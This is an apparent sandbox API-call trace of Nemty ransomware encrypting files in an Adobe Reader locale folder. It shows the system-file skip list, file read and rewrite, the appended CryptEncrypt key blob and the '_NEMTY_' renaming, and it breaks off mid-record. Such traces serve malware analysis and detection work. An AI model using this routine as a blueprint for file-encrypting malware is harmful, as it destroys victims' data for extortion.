lstrcmpiW (lpString1="Multimedia.DAN", lpString2="boot.ini") returned 1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="boot.ini") returned 1 [0174.699] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.699] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="ntuser.dat") returned -1 [0174.699] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="desktop.ini") returned 1 [0174.699] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="CONFIG.SYS") returned 1 [0174.699] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="RECYCLER") returned -1 [0174.699] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.699] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="bootmgr") returned 1 [0174.699] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="programdata") returned -1 [0174.699] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="appdata") returned 1 [0174.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0174.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DAN", lpUsedDefaultChar=0x0) returned 14 [0174.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0174.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DAN", lpUsedDefaultChar=0x0) returned 14 [0174.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0174.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DAN", lpUsedDefaultChar=0x0) returned 14 [0174.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0174.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DAN", lpUsedDefaultChar=0x0) returned 14 [0174.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.699] Sleep (dwMilliseconds=0x5) [0174.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bc70b50, dwHighDateTime=0x1d561e8)) [0174.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bc70b50, dwHighDateTime=0x1d561e8)) [0174.702] GetLastError () returned 0x0 [0174.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.702] GetLastError () returned 0x0 [0174.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.702] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.702] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.703] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.703] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="PK+/XoJi66l0jYgoPVfcgudwSTbYwX4KFTejHKnWuv/xEgqvVUryufrCtzu8MBUa\r\nE0cfx7uPwLHkg7lDtg/TSIzk9Jm3Us320B/SyPwIdntO2F+B74636J7wnVN9cbYY\r\nLO1qYltycH1NLf7gG9gXuPMC2aJrlqie4Ds7Hkg0GCnf+0bCcH8d9JUcpfqHZ2m8\r\n5tnDLrIwoLF2W+OeCLdEsr8Fa1Anh4zDkBm5gZE67qLFK4qzRG4NcaGkKhriLEzK\r\nYO+aFFvvGAaTPcpfaXcwtWSZrPMP4YVCRzry3gZiGPuQx3ve8VtbDJpy+w48kxCa\r\nwg5P7lF6N2kL3Qeqm+JVzw==\r\n", pcchString=0x653e5dc) returned 1 [0174.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Multimedia.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\multimedia.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.703] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=78848) returned 1 [0174.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13400) returned 0x6352c48 [0174.703] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.703] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13400, lpOverlapped=0x0) returned 1 [0174.709] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.709] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13400, lpOverlapped=0x0) returned 1 [0174.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.710] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=78848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13400 [0174.710] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.710] CloseHandle (hObject=0x2e8) returned 1 [0174.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.710] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Multimedia.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\multimedia.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Multimedia.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\multimedia.dan._nemty_kgobjgd_")) returned 1 [0174.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.711] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.DAN", cAlternateFileName="")) returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2=".") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="..") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="...") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="windows") returned -1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="rsa") returned -1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="NTDETECT.COM") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="ntldr") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="MSDOS.SYS") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="IO.SYS") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="boot.ini") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="boot.ini") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="ntuser.dat") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="desktop.ini") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="CONFIG.SYS") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="RECYCLER") returned -1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="bootmgr") returned 1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="programdata") returned -1 [0174.711] lstrcmpiW (lpString1="pddom.DAN", lpString2="appdata") returned 1 [0174.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DAN", lpUsedDefaultChar=0x0) returned 9 [0174.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DAN", lpUsedDefaultChar=0x0) returned 9 [0174.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DAN", lpUsedDefaultChar=0x0) returned 9 [0174.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DAN", lpUsedDefaultChar=0x0) returned 9 [0174.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.712] Sleep (dwMilliseconds=0x5) [0174.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bc96cb0, dwHighDateTime=0x1d561e8)) [0174.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bc96cb0, dwHighDateTime=0x1d561e8)) [0174.718] GetLastError () returned 0x0 [0174.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.718] GetLastError () returned 0x0 [0174.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.718] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.718] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="s6Zb7VZSSabwlT69sFmXbZkkz/PY//BWB+DioGdGx9L5C0o+whlhNmHB8kDwQb/W\r\nxYuS+5dhy2Qdwnf+6CEG0loLCpc7feMzc9IF4vkISvqTKx45wYC09QY4ccLle1D2\r\ng2+IDQf2Dbh69QwFRrdaC9AbcVQUKHjlqgCEY6uYkLE+c5wK1Ldj8QoGgr6xa6BR\r\nHydjyJ+7OgPp0JpSeSFoBx3ziV0OR3N1zbUqY0H/TVKLN7AuQDqD9t/jkj+Po0wJ\r\neV2st0Lpg1vaJA1NPcKhKNt1FzOZcyF38Uctd0DwhUhh4Eo1e8Bzg+SPIv2AB/mB\r\nEBa2F8jlxu6VxCa0yqt/Cw==\r\n", pcchString=0x653e5dc) returned 1 [0174.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\pddom.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\pddom.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.719] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0174.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0174.720] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.720] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0174.722] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.722] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0174.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.722] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0174.722] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.722] CloseHandle (hObject=0x2e8) returned 1 [0174.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0174.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.722] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\pddom.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\pddom.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\pddom.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\pddom.dan._nemty_kgobjgd_")) returned 1 [0174.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0174.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.723] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, 